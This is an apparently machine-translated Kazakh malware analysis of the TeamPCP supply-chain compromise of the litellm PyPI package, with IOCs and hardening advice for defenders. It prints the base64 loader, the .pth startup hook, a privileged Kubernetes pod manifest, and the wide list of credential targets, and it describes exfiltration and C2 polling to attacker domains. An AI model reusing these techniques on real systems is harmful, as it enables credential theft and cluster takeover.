Бұл неліктен маңызды?
2026 жылдың 24 наурызында танымал Python пакеті litellm, мыңдаған пайдаланушылар пайдаланатын әмбебап LLM прокси шлюзі enterpriseOpenAI, Anthropic, Google және AWS Bedrock сияқты қосымшалар мен жасанды интеллект провайдерлері арасындағы трафикті бағыттау үшін жасалған s PyPI-де үнсіз бұзылды. Бір-бірінен 13 минуттық аралықпен екі уланған нұсқасы (1.82.7 және 1.82.8) жарияланды, олар тіркелгі деректерін ұрлап, бұлт құпияларын шығарып, Kubernetes кластерлері арқылы бүйірлік таралып, қашықтан кодты орындау мүмкіндіктері бар тұрақты артқы есікті орнатқан көп сатылы пайдалы жүктемені алып жүрді.
Шамамен Күніне 3.6 миллион жүктеу және бұлтқа негізделген жасанды инфрақұрылымға терең орналастыру арқылы litellm қазіргі заманғы шабуылдаушылар қалаған барлық нәрсенің тоғысында орналасқан: әрбір ірі жасанды интеллект провайдеріне арналған API кілттері, бұлттық IAM тіркелгі деректері, Kubernetes құпиялары және SSH кілттері.
Бірақ лителлм келісімі оқшауланған оқиға емес еді. Бұл бір оқиғаның шарықтау шегі болды Бес күндік, бес экожүйелік науқан деп аталатын қауіп төндіруші тарапынан TeamPCP, алдымен қауіпсіздік сканерлерін (Aqua Trivy, Checkmarx KICS) уландырған, содан кейін ұрланғандарды пайдаланған науқан CI/CD npm, OpenVSX және ақырында PyPI-ге ағып кету үшін тіркелгі деректері пайда болды. Шабуылдаушылар ұйымдар жеткізу тізбектерін қорғау үшін сүйенетін құралдарды қаруландырды.
Бұл шабуыл жеткізу тізбегіндегі қауіп-қатердің күрделілігіндегі қадамдық өзгерісті білдіреді. Жоғары құндылыққа жету үшін қауіпсіздік құралдарын бұзатын көп сатылы, кросс-экожүйелік дизайн. Жасанды инфрақұрылым, шабуыл құралдарының тауарлануы артып келе жатқандықтан, жоспарлау және операциялық жетілу деңгейін көрсетеді. Пайдалы жүктемелер нақты уақыт режимінде қайталанды (бастапқы кодта үш пайдалы жүктеме нұсқасы пайда болды, оның ішінде бұрынғы түсініктеме берілген нұсқалар бар), C2 инфрақұрылымы шабуылдан бір күн бұрын тіркелді және эксфильтрация домендері заңды жеткізуші инфрақұрылымын имитациялау үшін мұқият таңдалды. Cardano қол қою кілттері және WireGuard конфигурациялары сияқты тар мақсатты нысандарды қоса алғанда, 15-тен астам санатты қамтитын жүйелі түрде кешенді тіркелгі деректерін жинау құралы күш көбейткіші ретінде жасанды интеллект көмегімен зиянды бағдарламаларды әзірлеуге бағытталған нақты нәтиже деңгейін көрсетеді.
Timeline
| Күні (UTC) | оқиға |
|---|---|
| наурыз 19 | TeamPCP Aqua Trivy GitHub Action тегтерін бұзып, оларды фильтрацияланатын зиянды кодпен алмастырады CI/CD төменгі ағымдағы қоймалардан алынған құпиялар |
| наурыз 21 | Ымыраға келу ұқсас әдістерді қолданатын Checkmarx KICS және AST GitHub әрекеттеріне де таралады. |
| 22 наурыз, 06:35 | BerriAI litellm 1.82.6 (соңғы таза нұсқасы) қалыпты арқылы жариялайды CI/CD pipeline қауіпсіздікті сканерлеу үшін Trivy пайдаланады |
| наурыз 23 | TeamPCP models.litellm.cloud (экстильтрация домені) тіркейді. 66+ npm пакеттері мен OpenVSX кеңейтімдерін бұзады. |
| 24 наурыз, 10:39 | litellm 1.82.7 PyPI-ге жарияланды -- пайдалы жүктеме енгізілді proxy_server.py модуль ауқымында. Импорттау кезінде орындалады |
| 24 наурыз, 10:52 | litellm 1.82.8 нұсқасы 13 минуттан кейін жарияланды -- қосады litellm_init.pth, тек litellm импорттауларында ғана емес, әрбір Python интерпретаторының іске қосылуында орындалатын Python жолын конфигурациялау ілмегі. Жылдам пайдалы жүктеме итерациясын көрсетеді |
| 24 наурыз, ~16:00 | PyPI қауымдастық есептерінен кейін екі нұсқаны да жояды. Нұсқалар индекстен толығымен жойылады (жұлып алынбайды), дегенмен CDN тар шарлары қолжетімді болып қалады. |
Экспозиция терезесі: шамамен 5.5 сағат. Осы уақыт ішінде кез келген pip install litellm, pip install --upgrade litellm, немесе CI/CD pipeline соңғы нұсқаны алу пайдалы жүктемені орындаған болар еді.
Зиянды бағдарлама қалай пайда болды: Каскадты ымыраға келу
Litellm пакеті тікелей бұзылған жоқ. Шабуылдаушы оған а арқылы жетті екі сатылы жеткізу тізбегіне шабуыл:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline Trivy қауіпсіздік сканері ретінде пайдаланды — осалдықтарды анықтауға арналған құралдың өзі шабуыл векторы болды. Себебі pipeline Trivy-ге бекітілген тегтің орнына өзгеретін тег арқылы сілтеме жасалды commit SHA, бұзылған әрекет автоматты түрде орындалды. Зиянды Trivy әрекеті қоршаған орта құпияларын, соның ішінде PYPI_PUBLISH токен, бұл TeamPCP-ге litellm PyPI жобасына тікелей жариялау мүмкіндігін береді.
Бұл «күзетшілерді ымыраға келтіру» стратегиясы TeamPCP науқанының ерекшелігі болып табылады. Қауіпсіздік құралдарын бірінші кезекте нысанаға алу арқылы (Trivy, Checkmarx KICS) шабуылдаушылар бір уақытта анықтауды өшіріп, төменгі ағымдағы жеткізу тізбектеріне артықшылықты қол жеткізді.
Техникалық талдау: Пайдалы жүктеме
Инъекция нүктелері
Version 1.82.7 — Модуль деңгейіндегі орындау litellm/proxy/proxy_server.py (128-жол):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Бұл код сөздіктің литералы мен түпнұсқасы арасындағы модуль ауқымында орналасқан showwarning() функция. Ол дереу орындалады litellm.proxy.proxy_server импортталады — бұл litellm прокси функциясын кез келген пайдалану кезінде орын алады.
Version 1.82.8 — Қосылды litellm_init.pth (Python жолының конфигурация файлы):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth файлдар site-packages/ әрбір интерпретаторды іске қосқанда өңделеді, бірақ тек ... басталатын жолдар ғана өңделеді import код ретінде орындалады. Шабуылдаушы мұны бүкіл пайдалы жүктемені бір тізбекке біріктіру арқылы пайдаланады. import мәлімдеме: import os, subprocess, sys; subprocess.Popen(...)Бұл proxy_server.py инъекциясына қарағанда әлдеқайда агрессивті — ол litellm ешқашан импортталмаса да, Python процесінің әрбір іске қосылуында іске қосылады. pyproject.toml бұл файлды дистрибуцияға қосу үшін өзгертілді:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Осылайша, 1.82.8 нұсқасы бар екі тәуелсіз орындау жолы: proxy_server.py инъекциясы (litellm прокси импортында іске қосылады) және .pth файлы (кез келген Python іске қосылғанда іске қосылады). Артықшылықтың өзі ерекше — ол екі жолдың да анықталуынан немесе жойылуынан қорғайды. 1.82.7 нұсқасынан кейін небәрі 13 минуттан кейін импорттау уақытынан іске қосу уақытының орындалуына дейін эскалация шабуылдаушының орналастырудың сәттілігін бақылап, жылдам қайталап жатқанын көрсетеді.
1-кезең: Кешенді куәліктерді жинау
Декодталған ішкі скрипт - бұл мұқият тіркелгі деректерінің вакуумы. Ол пайдаланады os.walk(), glob.glob(), subprocess.check_output()және бүкіл жүйені сканерлеу үшін файлды тікелей оқу:
| санат | мақсатталған |
|---|---|
| Жүйені қайта құру | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; хост кілттері /etc/ssh/ |
| Бұлт (AWS) | ~/.aws/credentials, ~/.aws/config; IMDS рөлінің тіркелгі деректері арқылы 169.254.169.254Құпиялар менеджері; ListSecretsSSM DescribeParameters |
| Бұлт (GCP) | ~/.config/gcloud/ (рекурсивті); $GOOGLE_APPLICATION_CREDENTIALS |
| Бұлт (Көкшіл) | ~/.azure/ (рекурсивті); орта айнымалылары |
| Kubernetes | Қызмет көрсету шотының токендері; ca.crt; атау кеңістігі; kubectl get secrets --all-namespaces; барлық құпиялар K8s API арқылы |
| Қоршаған орта файлдары | .env, .env.local, .env.production, .env.development, .env.staging — рекурсивті түрде (тереңдігі 6) ізделді /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Докер | ~/.docker/config.json, /kaniko/.docker/config.json |
| Пакет токендері | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Мәліметтер базасы | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB конфигурациялары |
| TLS / SSL | Жеке кілттер /etc/ssl/private/Сертификаттарды шифрлайық, барлығы .pem/.key/.p12/.pfx файлдар |
| жүру | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Крипто әмияндар | Bitcoin, Ethereum кілт қоймасы, Solana кілт жұптары (валидатор, дауыс беру, ставка, кран), Cardano қол қою кілттері, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Қабық тарихы | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Жүйелік аутентификация | /etc/passwd, /etc/shadow, аутентификация журналдары (қабылданған SSH сессиялары) |
| Webhook/API кілттері | Slack веб-сайтына арналған Grephooks, Discord веб-торабыhooks, конфигурация файлдарындағы API кілттері/құпиялары |
| VPN | WireGuard конфигурациялары /etc/wireguard/ |
Бұл комбайнның қолданылу аясы энциклопедиялық. Ол тек бұлттық тіркелгі деректерін ғана емес, сонымен қатар криптовалюта әмияндарын, дерекқор құпия сөздерін, VPN конфигурацияларын және т.б. мақсат етеді. CI/CD құпиялар — шабуылдаушы бұзылған жүйелерді бірнеше векторлар арқылы монетизациялауды көздейтінін білдіреді.
2-кезең: шифрланған эксфильтрация
Ұрланған деректер гибридті шифрлау схемасын пайдаланып шифрланады және сүзгіден өткізіледі:
- AES-256-CBC жиналған барлық деректерді кездейсоқ 32 байттық сеанс кілтімен шифрлау (арқылы)
openssl enc) - RSA-4096 шабуылдаушының ендірілген ашық кілтін пайдаланып сеанс кілтін шифрлау (OAEP толтырғышы, арқылы)
openssl pkeyutl) - Екі шифрмәтін файлдары да біріктірілген
tpcp.tar.gz(tpcpпрефикс — «TeamPCP» — науқан бойынша үнемі пайда болады) - HTTPS ЖАЗБАСЫ
https://models.litellm.cloud/біргеContent-Type: application/octet-stream
Домен models.litellm.cloud шабуылдан бір күн бұрын — 23 наурызда тіркелген және заңды литералл инфрақұрылымымен үйлесуге арналған (нақты жоба пайдаланады) litellm.aiТіпті желіні білетін қорғаушы да шығыс трафигін тексеріп жатқанда, трафикті Litellm-нің өз моделінің соңғы нүктесіне белгілемеуі мүмкін.
3-кезең: Тұрақты бэкдор (sysmon.py)
Пайдалы жүктеме жүйелік телеметрия ретінде жасырылған сауалнамалық артқы есікті орнатады:
- Жол:
~/.config/sysmon/sysmon.py - қызмет көрсету:
sysmon.service(systemd пайдаланушы блогы, «Жүйелік телеметрия қызметі» деп сипатталған) - мінез-құлықБастапқы 300 секундтық ұйқыдан кейін сауалнамалар
https://checkmarx.zone/rawәрбір ~50 минут сайын - орындауC2 қайтарған URL мекенжайын жүктейді
/tmp/pglog, оны орындалатын күйге орнатады (chmod 755), оны бөлек сессияда іске қосады - Штат бойынша бақылау:
/tmp/.pg_stateсол пайдалы жүктемені қайта жүктеуге жол бермейді - Тұрақтылық:
Restart=always,RestartSec=10— апаттардан және қайта жүктеулерден аман қалады
Домен checkmarx.zone Checkmarx (қауіпсіздік компаниясы) қатесі бар. checkmarx.com), желі журналдарын қарап шығатын SOC аналитиктері заңды қауіпсіздік жеткізушісі болып көрінетін трафикті көре алатындай етіп жасалған. Бұл TeamPCP қауіпсіздік жеткізушісі брендінің артына жасырынудың кеңірек стратегиясына сәйкес келетін әдейі жалтару әдісі.
3b кезеңі: Кубернетестің бүйірлік қозғалысы
Егер бұзылған жүйеде Kubernetes қызметтік тіркелгісінің деректері болса, зиянды бағдарлама барлық кластер түйіндерін санап, орналастырады. артықшылықты подтар әрқайсысына:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Әрбір қапшық:
- Келесідей жұмыс істейді артықшылықты бірге
hostPID,hostNetworkжәне хост файлдық жүйесіне толық қол жеткізу - Uses
chroot /hostбірдей орнату үшінsysmon.pyхосттың түбірлік файл жүйесіндегі артқы есік - Оны жүйелік қызмет ретінде тіркейді, бұл под жойылғаннан кейін тұрақтылықты қамтамасыз етеді
- Аталған
node-setup-*ішіндеkube-systemатау кеңістігі заңды кластерлік инфрақұрылым ретінде пайда болады
Бұл дегеніміз бір рет бұзылған CI/CD K8s қатынасы бар жүгіруші кластердегі әрбір түйіннің артқы есік астында болуына әкелуі мүмкін — Kubernetes-те litellm-ді прокси ретінде басқаратын ұйымдар үшін апатты бүйірлік қозғалыс сценарийі.
Пайдалы жүктеме эволюциясы (түсініктеме берілген нұсқалар)
131-132 жолдардағы бастапқы код шабуылдаушының әзірлеу процесін көрсететін бұрын түсіндірілген екі пайдалы жүктеме нұсқасын қамтиды:
- Барлық үш нұсқа бірдей эксфильтрациялық инфрақұрылымды бөліседі (
models.litellm.cloud), RSA-4096 ашық кілті, AES-256-CBC + RSA гибридті шифрлау қаптамасы жәнеtpcp.tar.gzтоптаманы атау - Бұрынғы нұсқалары қосты RC4 шифрлау қабаты деректерді жинау скриптінің ішінде, жиналған деректерді сыртқы AES+RSA қаптамасынан бұрын шифрлайды. Белсенді пайдалы жүктеме (130-жол) осы ішкі RC4 қабатын алып тастау арқылы жеңілдетілді.
- Алдыңғы нұсқалар қолданылады
exec()біргеStringIOбелсенді пайдалы жүктеме пайдаланылған кезде коллекторды іске қосу үшін түсіруsubprocess.run()stdout қайта бағыттауымен — хост процесін ластауға жол бермейтін таза бөлу - Үш нұсқаның барлығы бірдей тіркелгі деректері санаттары мен жинау жолдарына бағытталған
- Алғашқы нұсқалардағы RC4 пернесі актердің Telegram-дағы назар аудару әрекетіне сәйкес келетін арандатушылық мазақ болды.
Бұл операция кезінде белсенді дамуды көрсетеді. Шабуылдаушы шифрлау стегін жеңілдетіп, жинау нысандары мен эксфильтрация инфрақұрылымын тұрақты сақтай отырып, орындалу оқшаулануын жақсартты.
Келісім көрсеткіштері (IOC)
Желі
| Индикатор | түрі | мақсат |
|---|---|---|
models.litellm.cloud | Домен | Эксфильтрацияның соңғы нүктесі (HTTPS POST) |
checkmarx.zone | Домен | C2 сауалнаманың соңғы нүктесі (HTTPS GET /raw) |
Ескерту: Сыртқы есеп беру сілтемелері checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP науқанының бұрынғы KICS кезеңіне. Бұл URL мекенжайы осында талданған litellm пайдалы жүктемелерінде табылмады.
Пакет хэштері
| файл | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Файл жүйесі
| Индикатор | түрі | мақсат |
|---|---|---|
~/.config/sysmon/sysmon.py | файл | Тұрақты артқы есік сценарийі |
~/.config/systemd/user/sysmon.service | файл | Жүйелік тұрақтылық бірлігі |
/tmp/pglog | файл | Екінші кезеңдегі бинарлық файл жүктелді |
/tmp/.pg_state | файл | C2 күйін бақылау |
litellm_init.pth in site-packages/ | файл | Python іске қосу ілмегі (тек 1.82.8 нұсқасы) |
tpcp.tar.gz | файл | Шифрланған эксфильтрациялық топтама |
Kubernetes
| Индикатор | түрі | мақсат |
|---|---|---|
node-setup-* капсулалар ішінде kube-system | Под | Артықшылықты бүйірлік қозғалыс капсулалары |
sysmon.service кластер түйіндерінде | қызмет көрсету | Подтан қашу арқылы хост деңгейіндегі тұрақтылық |
Криптографиялық
| Индикатор | Егжей |
|---|---|
| Шабуылдаушы RSA-4096 ашық кілті | SHA256 саусақ ізі bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Үш пайдалы жүктеме нұсқаларының барлығына ендірілген; басқа TeamPCP операцияларында бірдей кілт хабарланған |
tpcp артефактілердегі префикс | Топтаманы атау туралы келісім (tpcp.tar.gz) науқан бойынша тұрақты |
Авторлық құқық: TeamPCP
Бұл науқанның артында тұрған қауіп-қатер субъектісі келесідей бақыланады TeamPCP, сондай-ақ PCPcat, Persy_PCP, ShellForce және DeadCatx3 деп те аталады.
Белгілі сипаттамалары:
- Telegram арналарын басқарады
@Persy_PCPжәне@teampcpолар қауіпсіздік компанияларын мазақ еткен жерде - Бірнеше экожүйелерде жұмыс істейді (GitHub Actions, PyPI, npm, OpenVSX)
- Науқанның әрбір кезеңі үшін жеткізушіге тән typosquat домендерін пайдаланады (мысалы,
checkmarx.zoneCheckmarx үшін,models.litellm.cloudлителлм үшін) - Тұрақты инфрақұрылым белгілері: бірдей RSA кілт жұбы,
tpcp.tar.gzатау конвенциясы,tpcp-docs-*GitHub репозиторийлері тұйықталған кезең ретінде пайдаланылады - Қауіпсіздік құралдарын жеткізу тізбектеріне кіру нүктелері ретінде нысанаға алады
Атрибуцияға сенімділікЖоғары. Ортақ RSA ашық кілті, tpcp Бес күндік науқан барысында артефакт атаулары, C2 инфрақұрылымының қабаттасуы және операциялық қарқын Trivy, KICS, npm, OpenVSX және litellm компромисстерін бір актермен тығыз байланыстырады.
МотивацияҚаржылық ықтималдық (криптовалюта әмияндарын ұрлау, бұлттық деректерден ақша табу) және танымалдылық (Telegram-ды келеке ету) біріктірілген. AWS IAM-нан бастап Solana валидаторының перне жұптарына және WireGuard конфигурацияларына дейін деректер жинаудың кеңдігі әрбір ымырадан ROI-ді барынша арттыруға тырысатын қаржылық тұрғыдан ынталандырылған субъектіні көрсетеді.
Мүмкін болатын жасанды интеллект көмегіТіркелгі деректерін жинаушы жүйелі түрде кешенді болып табылады — Cardano қол қою кілттері, WireGuard конфигурациялары және Kaniko Docker тіркелгі деректері сияқты тар мақсатты нысандарды қоса алғанда, 15-тен астам санат — жасанды интеллект көмегімен санауға сәйкес келеді. Пайдалы жүктеме итерациясының жылдамдығы (әртүрлі шифрлау схемалары бар үш нұсқа), экожүйеаралық үйлестіру (5 күнде 5 экожүйе) және операциялық OPSEC (сатушының атын жамылған домендер, гибридті шифрлау, телеметрия ретінде жасырылған жүйелік тұрақтылық) жасанды интеллект көмегімен жасалған әзірлеуді күш көбейткіші ретінде көрсетуі мүмкін өткізу қабілетінің деңгейін көрсетеді. Бұл бағалау болжамды; білікті операторлар жасанды интеллект құралдарынсыз ұқсас ауқымды жүзеге асыра алады.
Жаңа TTP және әдістер
1. Қауіпсіздік құралдарының жеткізу тізбегінің улануы (T1195.002 нұсқасы)
Қауіпсіздік сканерлерін (Trivy, KICS) келесі ағымдағы нысандарға жетудің алғашқы қадамы ретінде бұзу - бұл жаңа эскалация. Шабуылдаушы тек кітапхананы ғана бұзып қоймай, ұйымдар пайдаланатын құралдарды да бұзды. Табу бұзылған кітапханалар. Бұл соқыр аймақты тудырады: зиянды кодты анықтауы керек сканердің өзі жеткізу механизмі болып табылады.
2 Python .pth Файл тұрақтылығы (T1546)
The litellm_init.pth v1.82.8 нұсқасындағы әдіс әсіресе қауіпті. Python .pth файлдар site-packages/ әрбір интерпретаторды іске қосқанда өңделеді; басталатын кез келген жол import код ретінде орындалады. Пайдалы жүктемені бір тізбекке қосу арқылы import мәлімдемесінде, шабуылдаушы тек litellm импортталған кезде ғана емес, барлық Python процестерінде орындалады. Бұл пайдалы жүктеме litellm орнатылған, бірақ ешқашан пайдаланылмаған болса да іске қосылады және ол бұзылғандарды ауыстыратын қалпына келтіруден аман қалады дегенді білдіреді. .py файлдарды тексермей-ақ .pth файлдар.
3. Артықшылықты под орналастыру арқылы Kubernetes кластерлік бүйірлік қозғалысы (T1610, T1611)
Әрбір кластер түйінінде артықшылықты подтарды автоматтандырылған түрде жасау — hostPID, hostNetwork, хост файлдық жүйесін орнату және chroot тұрақтылықты орнату үшін — бір бұзылған жұмыс жүктемесін толық кластерлік бұзылысқа айналдыру үшін контейнерді орналастыруды (T1610) хостқа қашу арқылы тізбектейді (T1611).
4. Жеткізушінің атын жамылған C2 инфрақұрылымы
пайдалану models.litellm.cloud (лителлмді имитациялайды) және checkmarx.zone (Checkmarx-ты имитациялайды), себебі C2/exfil соңғы нүктелері желіні бақылаудан жалтару үшін жасалған. Шығыс трафигін қарастыратын SOC аналитиктері HTTPS қосылымдарын заңды жеткізуші домендеріне көретін болады.
5. Ұшу кезіндегі пайдалы жүктемені жылдам қайталау
Импорттау уақытында орындалатын v1.82.7 нұсқасын, содан кейін 13 минуттан кейін іске қосу уақытында орындалатын v1.82.8 нұсқасын жариялау шабуылдаушының нақты уақыт режимінде бақылап, бейімделіп жатқанын көрсетеді. Бастапқы кодта сақталған түсініктеме берілген пайдалы жүктеме нұсқалары (әртүрлі шифрлау схемаларымен) операция кезінде белсенді әзірлеуді растайды.
Не істеуге болады
Бұл шабуыл әрбір деңгейде сенімді пайдаланады: қауіпсіздік құралдарына деген сенім, пакеттік тізілімдерге деген сенім, таныс көрінетін домендерге деген сенім, CI/CD автоматтандыру. Одан қорғану үшін осы сенім шекараларының әрқайсысын нығайту қажет:
Пакет тұтынушылары үшін
- Тәуелділіктерді тек нұсқасы бойынша ғана емес, хэш бойынша бекітіңіз.
pip install litellm==1.82.6 --hash=sha256:...бұзылған нұсқалар қысқа мерзімге ең соңғы нұсқа ретінде пайда болса да, олардың орнатылуына жол бермес еді. - Құлыптау файлдарын пайдаланыңыз.
pip-compile,poetry.lock, жәнеuv.lockдәл нұсқалар мен хэштерді жазып алу. CI/CD қалқымалы нұсқа спецификаторларынан емес, lockfile файлдарынан орнату керек. - Монитор
.pthфайлдар. Тұрақты түрде тексеруsite-packages/күтпеген үшін.pthфайлдар — олар әрбір Python іске қосу кезінде орындалады және бағаланбайтын тұрақтылық механизмі болып табылады. - Шығу желісін басқаруды іске қосыңыз. Эксфильтрация
models.litellm.cloudжәне C2 сауалнамасынаcheckmarx.zoneөндірістік орталарда рұқсат тізіміне негізделген шығыс сүзгісі арқылы анықталуы мүмкін.
Пакеттерді ұстаушылар үшін
- түйреуіш CI/CD әрекеттері commit SHA, тег емес. LiteLLM's pipeline Trivy-ді бекітілген нұсқасынсыз пайдаланды. Егер сілтеме жасалған болса
aquasecurity/trivy-action@<commit-sha>орнына@latest, бұзылған әрекет орындалмас еді. - Қысқа мерзімді, ауқымды жариялау токендерін пайдаланыңыз. PyPI сенімді баспагерлерді (OIDC негізіндегі) және ауқымды API токендерін қолдайды.
PYPI_PUBLISHтокен ұзақ мерзімді, шектеусіз жариялауға қол жеткізуге ие болмауы керек еді. - PyPI жүйесінде екі факторлы аутентификацияны қосыңыз. Барлық техникалық қызмет көрсетушілер үшін 2FA талап етіңіз және мүмкіндігінше аппараттық қауіпсіздік кілттерін пайдаланыңыз.
- Пакеттерге қол қойыңыз. Sigstore/PEP 740 сертификаттары тұтынушыларға пакеттің күтілгендей жасалғанын тексеруге мүмкіндік береді CI/CD pipeline, ұрланған токені бар шабуылдаушы емес.
Платформа операторлары үшін (PyPI, npm, GitHub)
- Баспаның қалыптан тыс үлгілерін анықтаңыз. Әдеттегіден басқа IP мекенжайынан немесе токенінен 13 минуттық аралықпен жарияланған екі жаңа нұсқа пакет орнатылатын болғанға дейін шолуды күтуді немесе автоматтандырылған сканерлеуді іске қосуы керек.
- Сенімді баспагерлерді қабылдауды жеделдету. OIDC негізіндегі баспа пакеттерді белгілі бір репозиторийлер мен жұмыс процестерімен байланыстырады, бұл ұрланған токендерді түпнұсқадан тыс жерде пайдасыз етеді CI/CD контекст.
- Жариялау уақытында зиянды бағдарламаларды сканерлеуді іске қосыңыз. proxy_server.py файлындағы base64-декодталған пайдалы жүктемені жариялау кезінде статикалық талдау арқылы анықтауға болады.
Экожүйе үшін
- Қауіпсіздік құралдарын маңызды инфрақұрылым ретінде қарастырыңыз. Trivy және Checkmarx KICS миллиондаған адамдар пайдаланады pipelines. Олардың GitHub әрекеттеріне олар сканерлейтін пакеттермен бірдей қатаңдықпен қол қойылуы, бекітілуі және бақылануы керек.
- Орындалу уақытын анықтауға инвестиция салыңыз. Статикалық талдаудың өзі барлық шатастыру әдістерін анықтай алмайды. Пакетті орнатудың орындалу уақытын бақылау hooks, күтпеген желілік қосылымдар және күдікті файлдарға кіру үлгілері терең қорғанысты қамтамасыз етеді.
- Қауіп туралы барлауды жылдамырақ бөлісіңіз. Litellm үшін 5.5 сағаттық экспозиция терезесі жеткізушілер арасындағы жылдам үйлестірудің арқасында қысқарған болар еді. Xygeni MEW, Socket және Snyk сияқты автоматтандырылған сканерлеу қызметтері аномалияны анықтады — кедергі адами растау және тізілімге жауап беру уақыты болып табылады.
қорытынды
TeamPCP науқаны - бұл үшін шешуші сәт software supply chain securityҚауіпсіздік сканерлерін алдымен бұзып, оларды жоғары құнды жасанды инфрақұрылымға апаратын баспалдақ ретінде пайдалану арқылы шабуылдаушылар жеткізу тізбегінің тек ең әлсіз транзитивті тәуелділігі ғана күшті екенін және тәуелділік сіздің қауіпсіздігіңізді қамтамасыз ету үшін сенетін қауіпсіздік құралы болуы мүмкін екенін көрсетті.
Litellm компромиссі жасанды инфрақұрылымға төнетін қауіптің артуын ерекше көрсетеді. LLM прокси шлюздері standard үлгі enterprise Жасанды интеллектті орналастыру арқылы олар API кілттеріне, бұлттық деректерге және құпия деректерге қол жеткізуді бір компонентке шоғырландырады. Бұл компонентті бұзу бүкіл жасанды интеллект стегінің негізгі кілті болып табылады.
5.5 сағаттық терезе ішінде litellm 1.82.7 немесе 1.82.8 орнатқан ұйымдар мұны толық тіркелгі деректерінің бұзылуы ретінде қарастыруы керек: әсер етілген жүйелердегі барлық құпияларды айналдыру, Kubernetes кластерлерін тексеру node-setup-* капсулалар ішінде kube-system, кез келгенін алып тастаңыз sysmon.service жүйелік блоктарды тексеріңіз және litellm_init.pth Python тілінде site-packages/ каталогтар. Ресми Docker кескінінің пайдаланушылары (ghcr.io/berriai/litellm) әсер етілмеді, себебі кескін өзінің тәуелділіктерін бекітіп, экспозиция терезесі кезінде қайта құрылмады.
Автор туралы
Құрылтайшы және техникалық директор
Луис Родригес Xygeni Security компаниясының негізін қалаушылардың бірі және техникалық директоры. Қолданбалар қауіпсіздігі саласында 20 жылдан астам тәжірибесі бар ол AppSec қорғанысына және командаларға нақты жеткізу тәуекелін азайтуға көмектесетін кеңейтілген кодты талдау мүмкіндіктеріне назар аударады.




